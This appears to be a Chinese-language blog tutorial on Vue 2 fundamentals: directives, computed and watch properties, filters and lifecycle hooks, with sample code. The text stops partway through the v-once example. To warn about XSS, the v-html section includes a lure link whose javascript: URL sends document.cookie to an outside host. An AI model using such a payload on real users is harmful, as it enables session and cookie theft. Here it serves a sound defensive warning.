Vue基础
前言:本篇笔记仅供学习使用,是学习尚硅谷Vue课程和狂神说Vue后整理思路时顺手写下来的,供大家参考
附:
– 尚硅谷Vue2.0+Vue3.0全套教程丨vuejs从入门到精通
– 狂神说Vue笔记整理
目录
Vue基础
目录
文章目录
MVVM模型
MVVM(Model-View-ViewModel)是一种软件设计模式,是一种简化用户界面的事件驱动编程方式。
MVVM模式和MVC模式一样,主要目的是分离视图(View)和模型(Model),有几大好处:低耦合,可复用,独立开发,可测试
(1)View
View是视图层, 也就是用户界面。前端主要由HTH L和csS来构建, 为了更方便地展现数据,
(2)Model
Model是指数据模型, 泛指后端进行的各种业务逻辑处理和数据操控, 主要围绕数据库系统展开。
(3)ViewModel
ViewModel是由前端开发人员组织生成和维护的视图数据层。在这一层, 前端开发者对从后端获取的Model数据进行转换处理, 做二次封装, 以生成符合View层使用预期的视图数据模型。
需要注意的是View Model所封装出来的数据模型包括视图的状态和行为两部分, 而Model层的数据模型只包含状态
![img](https://i-blog.csdnimg.cn/blog_migrate/f4e3e515cd084d7b773e774f2b546dc9.png)
准备工作
通过script导入Vue
- 本地:
<script src="本地Vue文件地址"></script>
- 联网:
<script src="https://unpkg.com/vue@next"></script>
在使用vue的官方插件时,使用这个代码阻止 vue 在启动时生成生产提示:
Vue.config.productionTip = false ;//阻止 vue 在启动时生成生产提示。
初识Vue
1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
2.root容器(el绑定的DOM标签)里的代码依然符合html规范,只不过混入了一些特殊的Vue语法;
3.root容器里的代码被称为【Vue模板】;
4.Vue实例和容器是一一对应的;
5.真实开发中只有一个Vue实例,并且会配合着组件一起使用;
6.{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性;
7.一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;
注意区分:js表达式 和 js代码(语句)
1.表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方:
(1). a
(2). a+b
(3). demo(1)
(4). x === y ? 'a' : 'b'
2.js代码(语句)
(1). if(){}
(2). for(){}
简单的Vue实例展示:
new Vue({
el:'#root',
data:{数据},
methods:{方法},
computed:{计算属性},
watch:{监视器}
filters:{过滤器},
生命周期回调函数:{}
})
el & data
el
el是Vue实例与DOM组件间的纽带,被选中的DOM组件就是Vue实例的容器,而一个Vue实例只能有一个’根’,所以通常会将容器的id命名为’root’
el:'css选择器'
el有2种写法
(1).new Vue时候配置el属性。
(2).先创建Vue实例,随后再通过vm.$mount(‘#root’)指定el的值。
el的vm.$mount写法实例:
这两种写法没有什么本质上的差距,使用的效果也差不多,第二种更为灵活,第一种更方便,通常用第一种就行
//el的第一种写法
const v = new Vue({
el:'#root'
data:{
name:'张三'
}
})
//el的第二种写法
const v = new Vue({
data:{
name:'张三'
}
})
console.log(v)
v.$mount('#root')
data
data是存放数据地方,会将字符串,数组,对象等数据类型都作为Vue实例的属性存储,需要的时候可以通过Vue实例调用
2.data有2种写法
(1).对象式
(2).函数式
如何选择:学习到组件时,data必须使用函数式,否则会报错。
data的函数写法实例:
//data的对象式写法
const v = new Vue({
el:'#root'
data:{
name:'张三'
}
})
//data的函数式写法
new Vue({
el:'#root',
data(){
return{
name:'张三'
}
}
})
Vue的模板语法
1.插值语法:
功能:用于==解析标签体内容==。
写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性。
{{xxx.slice(0,x)}}意思是只获取xxx的第0位到x-1位
2.指令语法:
功能:用于==解析标签==(包括:标签属性、标签体内容、绑定事件…)。
举例:v-bind:href="xxx" 或 简写为 :href="xxx",xxx同样要写js表达式,
且可以直接读取到data中的所有属性。
备注:Vue中有很多的指令,且形式都是:v-????,此处我们只是拿v-bind举个例子。
-
实例
<body> <div id="root"> <h1>插值语法</h1> <h3>你好,{{name}}</h3> <hr/> <h1>指令语法</h1> <a v-bind:href="school.url.toUpperCase()" x="hello">点我去{{school.name}}学习1</a> <!-- 简写形式↓ --> <a :href="school.url" x="hello">点我去{{school.name}}学习2</a> </div> </body> <script type="text/javascript"> new Vue({ el:'#root', data:{ name:'jack', school:{ name:'向日葵幼稚园', url:'http://yhdm06.com/', } } }) </script>
-
输出:
数据绑定
Vue中有2种数据绑定的方式:
1.单向绑定(v-bind):数据只能从data流向页面。
2.双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data。
备注:
1.双向绑定一般都应用在表单类元素上(如:input、select等)
2.v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。
- 单项数据绑定实例;
<body>
<div id="root">
单向数据绑定:<input type="text" :value="name"><br/>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
name:'张三'
}
})
</script>
- 输出:
-
双向数据绑定实例:
<body> <div id="root"> 双向数据绑定:<input type="text" v-model="name"><br/> </div> </body> <script type="text/javascript"> new Vue({ el:'#root', data:{ name:'张三' } }) </script>
methods & 事件处理
methods
methods是存放函数方法的地方,将事件写在此处作为Vue实例的属性存储,需要的时候直接通过Vue实例调用
由Vue管理的函数,多数不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。
但是,有些指向window的方法必须使用箭头函数,比较经典的有setTimeout(),params方法等
1.鼠标事件
1.1 点击事件
基础语法:v-on:click=“方法名” , 实例:
<button v-on:click="showInfo1">点我提示信息1(不传参)</button>
这个方法必须要通过vue实例调用,类似于data,存在methods对象用来回调方法
可以通过this.属性名来调用data中的数据,在双向绑定的数据上可以实现,实时更新返回值
Vue实例中methods的this需要将会指向Vue实例对象,所以使用箭头函数需要留心
简写语法: @click=‘方法名’ ,实例:
<button @click="showInfo2">点我提示信息2(传参)</button>
所写的事件可以通过采编传参来添加别的参数,eg:
showInfo2(number){
console.log(number)
alert('同学你好!!')
}
但是这会导致event参数的丢失,所以可以用 $event 来补偿event参数 ,eg:
<button @click="showInfo2($event,66)">点我提示信息(传参)</button>
- 点击事件实例:
<div id="root">
<h2>欢迎来到{{name}}学习</h2>
<button @click="showInfo2($event,66)">点我提示信息(传参)</button>
</div>
<script type="text/javascript">
const vm = new Vue({
el:'#root',
data:{
name:'向日葵幼稚园',
},
methods:{
showInfo2(event,number){
console.log(event)
alert(number);
}
}
})
</script>
-
输出
1.2 滑动事件
**@scroll**: 滚动条滚动事件,只有滚动条移动时才会触发
@wheel: 鼠标滚轮滚动事件,只要滚轮滚动就会触发
细节上与点击事件相似,但是只有绑定了事件的滚动条才能够触发事件,这点上 scroll 与 wheel 一致
两者的区别不大,这里就只举出@scroll的实例,如果想看@wheel的实例只需要在实例第二行中 用@wheel替换@scroll
-
实例:
<body> <div id="root" style="width:400px;height:400px;border:1px solid black;overflow: auto;" @scroll="showInfo"> <div style="height: 600px; background: plum"> <br><br><br><br><br><br><br><br> <h2>{{name}}在等你滚动滚轮</h2> </div> </div> <script type="text/javascript"> const vm = new Vue({ el:'#root', data:{ name:'张三' }, methods:{ showInfo(e){ console.log("我叫张三"); } } }) </script> </body>
-
输出:
- 初始输出
2. 滚动window的滚动条,而非绑定了事件的滚动条
- 滚动绑定了事件的滚动条
2.键盘事件
2.1 @keydown & @keyup
同鼠标事件类似,可以理解为用绑定事件的触发时机作为函数名
@keydown :按下按键按键时就将触发事件,通常使用的更多一些
@keyup:按下按键,松开按键时才会触发事件,如果不松开按键就不会触发
2.2 Vue中常用按键别名
//回车 => enter
//删除 => delete (捕获“删除”和“退格”键)
//退出 => esc
//空格 => space
//换行 => tab (特殊,必须配合keydown去使用)
//上 => up
//下 => down
//左 => left
//右 => right
eg:
<input type="text" placeholder="按下回车提示输入" @keydown.enter="method">
2.3 按键原始名
Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名,比如Caps大小写切换键就应该写成caps-lock )
也可以使用keyCode去指定具体的按键,但是不推荐,一个原因是官网已经不再维护这个方法,另一个原因是键盘的型号会影响到keyCode对应的按键,无法保证所有人的键盘都一个型号
可以使用以下代码来在控制台输出你按下的按键的原始名与键码
<body>
<div id="root">
<input type="text" placeholder="按下回车提示输入" @keydown="showInfo">
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
methods: {
showInfo(e){
console.log(e.key,e.keyCode)
}
}
})
</script>
- 输出:
2.3 系统修饰符
3.系统修饰键(用法特殊):ctrl、alt、shift、meta
(1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
(2).配合keydown使用:正常触发事件。
(3)需要使用ctrl+y之类的操作时,可以连写成@keyup.ctrl.y,要注意只能使用@keyup
-
实例:
<body> <div id="root"> <h2>欢迎来跟{{name}}学习</h2> <input type="text" placeholder="按下ctrl+a提示" @keydown.ctrl.a="showInfo"> </div> <script type="text/javascript"> const vm = new Vue({ el:'#root', data:{ name:'张三' }, methods:{ showInfo(e){ console.log("我叫张三"); } } }) </script> </body>
-
输出:
2.4 自定义键名
Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
事实上,我是觉得和直接使用键码的差别不大,但具体的使用我没有深入了解,建议是避免使用
-
实例:
<body> <div id="root"> <input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo"> </div> </body> <script type="text/javascript"> Vue.config.keyCodes.huiche = 13 //定义了一个别名按键 new Vue({ el:'#root', methods: { showInfo(e){ // console.log(e.key,e.keyCode) console.log("我是"+e.key) } } }) </script>
-
输出;
3.事件修饰符
Vue中的事件修饰符:(可以连写,比如:e.prevent.stop)
1.prevent:阻止默认事件(常用);
2.stop:阻止事件冒泡(常用);
3.once:事件只触发一次(常用);
4.capture:使用事件的捕获模式;
5.self:只有event.target是当前操作的元素时才触发事件;
6.passive:事件的默认行为立即执行,无需等待事件回调执行完毕;
- 实例: @click.prevent 可以禁止默认事件
<a href="https://www.bilibili.com" @click.prevent="showInfo">点我给提示</a>
computed : 计算属性
1.定义:要用的属性不存在,要通过已有属性计算得来。
2.原理:底层借助了Objcet.defineproperty方法提供的getter和setter。
3.get函数什么时候执行?
(1).初次读取时会执行一次。
(2).当依赖的数据发生改变时会被再次调用。
4.优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便。
5.备注:
1.计算属性最终会出现在vm上,直接读取使用即可。
2.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。
计算属性computed的地位类似于data与method,都是配置在Vue实例中的一个对象,在这个对象中内置有一些方法函数
-
实例:
<body> <div id="root"> 姓:<input type="text" v-model="firstName"> <br/><br/> 名:<input type="text" v-model="lastName"> <br/><br/> 全名:<span>{{fullName}}</span> <br/><br/> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false ;//阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ firstName:'张', lastName:'三', }, computed:{ fullName:{ set(value){ console.log('set',value) const arr = value.split('-') this.firstName = arr[0] this.lastName = arr[1] } } } }) </script> </html>
-
输出:
- 初始输出
-
2. 通过控制台修改fullName属性
解析
假设在computed中设置了一个fullName,那么computed的完整书写格式就如下所示:
computed:{
fullName:{
get(){};
set(){};
}
}
1. get
get什么时候调用?
1.初次读取fullName时。
2.所依赖的数据发生变化时。可以获取到data里定义的属性
get有什么作用?
当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
2. set
set什么时候调用?
当fullName被直接修改时。
set函数通常可以用来修改在data中定义的属性,以实现数据整体的统一
computed的简写形式:
只考虑读取,不考虑修改的时候
可以将set函数省略,将fullName写成函数形式,并在get函数触发的时机被调用
下面给出不需要使用set函数时的简写与完整写法,以作对比
computed:{
//简写
fullName(){
console.log('get被调用了')
return this.firstName + '-' + this.lastName
}
}
//完整写法
computed:{
fullName:{
get(){
console.log('get被调用了')
return this.firstName + '-' + this.lastName
}
}
}
watch : 监视属性
watch要点
-
当被监视的属性变化时, 回调函数会自动调用, 进行相关操作;
-
监视的属性必须存在,才能进行监视;
-
深度监视:监测对象内部值改变,Vue中的watch默认不监测对象内部值的改变;
deep:true//开启深度监视
- 可以监视多级结构中某个属性的变化,如:‘numbers.a’;
监视的两种写法:
(1)new Vue时传入watch配置
//正常写法
watch:{
number:{
// immediate:true, //初始化时让handler调用一下
// deep:true,//深度监视
handler(newValue,oldValue){
console.log('number被修改了',newValue,oldValue)
}
}
}
//简写,当你不需要immediate或者deep等配置项的时候可以使用简写
watch:{
number(newValue,oldValue){
console.log('number被修改了',newValue,oldValue,this)
}
},
(2)通过vm.$watch监视
//正常写法
vm.$watch('number',{
//immediate:true, 初始化时让handler调用一下
//deep:true,深度监视
handler(newValue,oldValue){
console.log('number被修改了',newValue,oldValue)
}
})
//简写,当你不需要immediate或者deep等配置项的时候可以使用简写
vm.$watch('number',(newValue,oldValue)=>{
console.log('number被修改了',newValue,oldValue,this)
})
-
实例:
<body> <div id="root"> <h3>a的值是:{{numbers.a}}</h3> <button @click="writeA">点我让a+1</button> <h3>b的值是:{{numbers.b}}</h3> <button @click="writeB">点我让b+1</button> <button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button> </div> </body> <script type="text/javascript"> const vm = new Vue({ el:'#root', data:{ numbers:{ a:1, b:1 } }, methods: { writeA(){ this.numbers.a++, console.log('a='+this.numbers.a); }, writeB(){ this.numbers.b++, console.log('b='+this.numbers.b); } }, watch:{ numbers:{ //此处的深度监视是否开启会有不同的效果 // deep:true, handler(){ console.log('numbers改变了') } } } }) </script>
-
输出:
不开启深度监视:
依次点击三个按钮,
a与b都是存放在number中的,但是只触发了一次number被改变了.
这是因为,没开启深度监视时,Vue只观察number本体的变化,只有number变为一个新对象时才会触发监视.
开启深度监视:
依次点击三个按钮,
在点击a与b按钮后立即触发了监视的回调函数
computed和watch的区别
1.computed能完成的功能,watch都可以完成。
2.watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。
两个重要的小原则:
1.所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象。
2.所有不被Vue所管理的函数
(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数,
这样this的指向才是vm 或 组件实例对象。
样式绑定
1. class样式
写法:class=“xxx” xxx可以是字符串、对象、数组。
字符串写法适用于:类名不确定,要动态获取。
对象写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
数组写法适用于:要绑定多个样式,要绑定的样式个数不确定、名字也不确定。
以下实例中所使用的样式:
<style>
.basic{
width: 400px;
height: 100px;
border: 1px solid black;
}
.happy{
border: 4px solid red;;
background-color: rgba(255, 255, 0, 0.644);
background: linear-gradient(30deg,yellow,pink,orange,yellow);
}
.sad{
border: 4px dashed rgb(2, 197, 2);
background-color: gray;
}
.normal{
background-color: skyblue;
}
.atguigu1{
background-color: yellowgreen;
}
.atguigu2{
font-size: 30px;
text-shadow:2px 2px 10px red;
}
.atguigu3{
border-radius: 20px;
}
</style>
1.1 class样式–对象方法
要绑定多个样式,个数确定,名字也确定, 使用的样式是固定的,在单纯决定开启与不开启的时候比较好用
<body>
<div id="root">
<div class="basic" :class="classObj" @click='mod'>{{name}}</div>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el:'#root',
data:{
name:'张三',
mood:'normal',
classObj:{
atguigu1:false,
atguigu2:false,
}
},
methods:{
mod(){
//因为类名是固定的,所以可以轻易实现开关一样的特性
//这里使用了取反运算符
this.classObj.atguigu1 = !this.classObj.atguigu1,
this.classObj.atguigu2 = !this.classObj.atguigu2
}
}
})
</script>
1.2 class样式–数组方法
==要绑定多个样式,要绑定的样式个数不确定、名字也不确定,==可以使用数组方法进行管理,也就意味着,删除与添加类都相对容易
<body>
<div id="root">
<div class="basic" :class="classArr" @click="del">{{name}}</div>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el:'#root',
data:{
name:'张三',
mood:'normal',
classArr:['atguigu1','atguigu2','atguigu3'],
},
methods:{
del(){
//这样就可以通过数组方法来控制样式
this.classArr.splice(0,1)
}
}
})
</script>
2. style样式
:style="{fontSize: xxx}"其中xxx是动态值。
:style="[a,b]"其中a、b是样式对象。
2.1 style=“{fontSize: xxx}”
style样式-- :style="{fontSize: xxx}"其中xxx是动态值。
<body>
<div id="root">
<div class="basic" :style="styleObj">{{name}}</div>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el:'#root',
data:{
name:'张三',
mood:'normal',
styleObj:{
fontSize: '40px',
color:'red',
}
}
})
</script>
2.2 style=“[a,b]”
style样式–style="[a,b]"其中a、b是样式对象。
<body>
<div id="root">
<div class="basic" :style="styleArr">{{name}}</div>
</div>
</body>
<script type="text/javascript">
const vm = new Vue({
el:'#root',
data:{
name:'张三',
mood:'normal',
styleArr:[
{
fontSize: '40px',
color:'blue',
},
{
backgroundColor:'gray'
}
]
}
})
</script>
filters 过滤器
过滤器:
定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
语法:
1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
2.使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = “xxx | 过滤器名”
备注:
1.过滤器也可以接收额外参数、多个过滤器也可以串联
2.并没有改变原本的数据, 是产生新的对应的数据
全局过滤器: 所有的Vue实例都是可以获取到
Vue.filter(name,callback)
new Vue{
data:{}
}
局部过滤器: 只有拥有过滤器的Vue实例可以获取到
new Vue{data:{},filters:{}}
-
实例:
//需要导入day.js 库 <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.10.8/dayjs.min.js"></script> <body> <div id="root"> <h2>显示格式化后的时间</h2> <!-- 计算属性实现 --> <h3>现在是:{{fmtTime}}</h3> <!-- methods实现 --> <h3>现在是:{{getFmtTime()}}</h3> <!-- 过滤器实现 --> <h3>现在是:{{time | timeFormater}}</h3> <!-- 过滤器实现(传参) --> <h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3> <h3 :x="msg | mySlice">向日葵幼稚园</h3> </div> <div id="root2"> <h2>{{msg | mySlice}}</h2> </div> </body> <script type="text/javascript"> //全局过滤器 Vue.filter('mySlice',function(value){ return value.slice(0,4) }) let vm = new Vue({ el:'#root', data:{ msg:'你好,向日葵幼稚园' }, computed: { time(){return time = Date.now()}, fmtTime(){ return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss') } }, methods: { getFmtTime(){ return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss') }, }, //局部过滤器 filters:{ timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){ // console.log('@',value) return dayjs(value).format(str) } } }) new Vue({ el:'#root2', data:{ msg:'hello,向日葵幼稚园!' } }) </script>
-
输出:
-
Vue生命周期
定义
==Vue生命周期:每一个vue实例从创建到销毁的过程==
总结
1. 生命周期:
1.又名:生命周期回调函数、生命周期函数、生命周期钩子。
2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的.
4.生命周期函数中的this指向是vm 或 组件实例对象。
- 三大阶段,四组指令,所有的钩子被调用时都意味着状态的改变
1.初始化显示:
**<1> beforeCreate 与 created **
(1)beforeCreate ,此时已经开启了生命周期,存在vue的实例对象了,可是还没有开始数据代理 , this对象就是vue
(2) created , 此时已经完成数据代理,数据监视的初始化,可以从vue读到实例的属性了
**<2> beforeMount 与 mounted **
(1)beforeMount ,此时已经完成了模板解析,生成了虚拟DOM
(2)mounted ,此时已经完成了虚拟DOM到真实DOM的转变,并将其插入页面
2. 更新状态 this.xxx === value
<3>beforeUpdate 与 updated
(1)beforeUpdate ,此时已经获取了新的数据,但是页面还没有开始做出变化
(2)updated,此时页面已经使用新获取的数据完成了新页面由虚拟DOM到正式DOM的转变,数据是新的,页面也是新的
3. 销毁实例 this.$destroy()
<4> beforeDestroy 与 destroyed
(1)beforeDestroy ,此时vue仍在正常工作,但即将进入销毁阶段,可以在这种时候进行一些收尾工作
(2)destroyed,意味着此时vue实例已经被销毁,只剩下一个DOM页面
###图例
- 实例:
<body>
<div id="app">
<p>{{message}}</p>
<button @click="changeMsg">改变</button>
<button @click="bye">点我销毁Vue实例</button>
</div>
</body>
<script>
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
var vm = new Vue({
el: '#app',
data: {
message: 'hello world'
},
methods: {
changeMsg () {
this.message = 'goodbye world'
},
bye(){
this.$destroy()
}
},
beforeCreate() {
console.log('------初始化前------')
console.log(this.message)
console.log(this.$el)
},
created () {
console.log('------初始化完成------')
console.log(this.message)
console.log(this.$el)
},
beforeMount () {
console.log('------挂载前---------')
console.log(this.message)
console.log(this.$el)
},
mounted () {
console.log('------挂载完成---------')
console.log(this.message)
console.log(this.$el)
},
beforeUpdate () {
console.log('------更新前---------')
console.log(this.message)
console.log(this.$el)
},
updated() {
console.log('------更新后---------')
console.log(this.message)
console.log(this.$el)
},
beforeDestroy() {
console.log('-----准备销毁Vue-----')
console.log(this.message)
console.log(this.$el)
},
destroyed() {
console.log('-----Vue销毁完成-----')
console.log(this.message)
console.log(this.$el)
},
})
</script>
-
输出:
- 销毁后也找不到任何Vue实例了
Vue内置指令
v-bind
功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…)。
举例:v-bind:href=“xxx” 或 简写为 :href=“xxx”,xxx同样要写js表达式,且可以直接读取到data中的所有属性。
同时具有单项数据绑定的效果(数据只能由data流向DOM)
<body>
<div id="root">
单向数据绑定:<input type="text" :value="name"><br/>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
name:'张三'
}
})
</script>
- 输出:
v-model
-
功能:数据不仅能从data流向页面,还可以从页面流向data。
-
语法: v-model or v-model:value
备注: 1. 双向绑定一般都应用在表单类元素上(如:input、select等) 2. v-model:value 可以==简写为 v-model==,因为v-model默认收集的就是value值。
<body>
<div id="root">
//此处v-model="name"是使vimodel的初始值为vue实例中的name
双向数据绑定:<input type="text" v-model="name"><br/>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
name:'张三'
}
})
</script>
- 输出
在v-model收集除了input框的form控件时,有些细节需要注意
实际上,v-model默认收集value值,所以可以理解为所有不能进行输入操作的控件都有设置value值的必要,而复选则需要额外注意初始数据类型需要使用数组类型
收集表单数据:
若:,则v-model收集的是value值,用户输入的就是value值。
若:,则v-model收集的是value值,且要给标签配置value值。
若:,通常初始数据类型用数组
1. 没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
2. 配置input的value属性:
(1) v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
(2) ==v-model的初始值是数组,那么收集的的就是value组成的数组==
备注:v-model的三个修饰符:
lazy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤
-
实例:
年龄:<input type="number" v-model.number="userInfo.age">
-
案例:
<body>
<div id="root">
<form @submit.prevent="demo">
账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
密码:<input type="password" v-model="userInfo.password"> <br/><br/>
年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
性别:
男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
爱好:
学习<input type="checkbox" v-model="userInfo.hobby" value="study">
打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
<br/><br/>
居住城市
<select v-model="userInfo.city">
<option value="">请选择地区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="shenzhen">深圳</option>
</select>
<br/><br/>
其他信息:
<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
<button>提交</button>
</form>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
userInfo:{
account:'',
password:'',
age:18,
sex:'female',
hobby:[],
city:'beijing',
other:'',
agree:''
}
},
methods: {
demo(){
console.log(JSON.stringify(this.userInfo))
}
}
})
</script>
- 案例输出效果:
v-for
-
功能:用于展示列表数据,可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
-
语法:v-for=“(item, index) of xxx” :key=“yyy”
(1)实际上可以将item与index理解成 内容 与 索引值 (2)==key最好是使用唯一的标识值==
- 实例:
<body>
<div id="root">
<!-- 遍历数组 -->
<h2>人员列表(遍历数组)</h2>
<ul>
<li v-for="(p,index) of persons" :key="index">
{{p.name}}-{{p.age}}
</li>
</ul>
<!-- 遍历对象 -->
<h2>汽车信息(遍历对象)</h2>
<ul>
<li v-for="(value,k) of car" :key="k">
{{k}}-{{value}}
</li>
</ul>
<!-- 遍历字符串 -->
<h2>测试遍历字符串(用得少)</h2>
<ul>
<li v-for="(char,index) of str" :key="index">
{{char}}-{{index}}
</li>
</ul>
<!-- 遍历指定次数 -->
<h2>测试遍历指定次数(用得少)</h2>
<ul>
<li v-for="(number,index) of 5" :key="index">
{{index}}-{{number}}
</li>
</ul>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
persons:[
{id:'001',name:'张三',age:18},
{id:'002',name:'李四',age:19},
{id:'003',name:'王五',age:20}
],
car:{
name:'奥迪A8',
price:'70万',
color:'黑色'
},
str:'hello'
}
})
</script>
</body>
-
输出:
v-for 嵌套使用时的关联问题
在两个data相互关联,同时又需要多次交叉输出两组data中的数据的时候,可以考虑使用v-for的嵌套
思路如下:
<v-for='(item,index) in 第一层的数据' :key='index'> <v-for= '(element[两data的关联值],index) in 第二层的数据' :key='index'>
实例:
<div v-for="(body, index) in chapters" :key="body.id"> <div class="title"> <div>{{ body.title }}</div> <img src="@/assets/img/icon-prev.png" alt="" /> </div> <div> <div v-for="item in videos[body.id]" :key="item.id" > <div class="free">试看</div> <div class="videoName">{{ item.title }}</div> <div class="videoTime">2:00</div> </div> </div>
输出:
![image-20220725195330611](https://i-blog.csdnimg.cn/blog_migrate/f980730538c0d468fd08a5c04c4129b8.png)
v-if & v-else
-
功能:条件渲染
-
写法:
(1).v-if=“表达式”
(2).v-else-if=“表达式”
(3).v-else=“表达式”
当表达式返回值为false时,将控件从结构中移除
适用于:切换频率较低的场景。
特点:不展示的DOM元素直接被移除。
注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。
细节:可以与<template>标签搭配使用
-
实例:
<body> <div id="root"> <h2>当前的n值是:{{n}}</h2> <button @click="n++">点我n+1</button> <!-- 使用v-if做条件渲染 --> <div v-if="n === 1">Angular</div> <div v-else-if="n === 2">React</div> <div v-else-if="n === 3">Vue</div> <div v-else>哈哈</div> </body> <script type="text/javascript"> const vm = new Vue({ el:'#root', data:{ n:0 } }) </script>
-
输出:
![QQ截图20220303133101](https://i-blog.csdnimg.cn/blog_migrate/25ec525c3be4827bffc57e95e9af7170.png)
![QQ截图20220303133126](https://i-blog.csdnimg.cn/blog_migrate/92b9e2aad80effd83936f27d450f4e6e.png)
![QQ截图20220303133135](https://i-blog.csdnimg.cn/blog_migrate/09c19c2fbc0fe5a56303d62992362d40.png)
![QQ截图20220303133144](https://i-blog.csdnimg.cn/blog_migrate/1130c447e39293e9dfc17473f1d0a155.png)
v-show
-
功能:条件渲染
-
写法:v-show=“表达式”,当表达式返回值为false是时,为控件添加display: none;
适用于:切换频率较高的场景。 特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
-
备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。
- 实例:
<body>
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
<!-- 使用v-show做条件渲染 -->
<!--<h2 v-show="false">欢迎来到{{name}}</h2> -->
<h2 v-show="1 === 1">欢迎来到{{name}}</h2></div>
</body>
<script type="text/javascript">
const vm = new Vue({
el:'#root',
data:{
name:'世界之窗',
n:0
}
})
</script>
- 输出:
![QQ截图20220303180636](https://i-blog.csdnimg.cn/blog_migrate/dfd1806fdf1b132e7e646c146c031f91.png)
v-text
1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
<body>
<div id="root">
<div>你好,{{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
name:'张三',
str:'<h3>你好啊!</h3>'
}
})
</script>
- 输出:
- 要点: v- text在实际使用中不能解析html标签,通常还是使用插值语法来取代v-text
v-html
v-html指令:
1. 作用:向指定节点中渲染包含html结构的内容。
2. 与插值语法的区别:
(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2).v-html可以识别html结构。
3. ==严重注意:v-html有安全性问题!!!!==
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).==一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!==
<body>
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
name:'阿巴阿巴',
str:'<h3>你好啊!</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
})
</script>
并不算常用
v-clock
v-cloak指令(没有值):
1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
<body>
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>
<script type="text/javascript">
console.log(1)
new Vue({
el:'#root',
data:{
name:'阿巴阿巴'
}
})
</script>
emmm,这个徘徊在有用与无用的边缘
v-once
v-once指令:
1.v-once所在节点在初次动态渲染后,就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<body>
<div id="root">
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
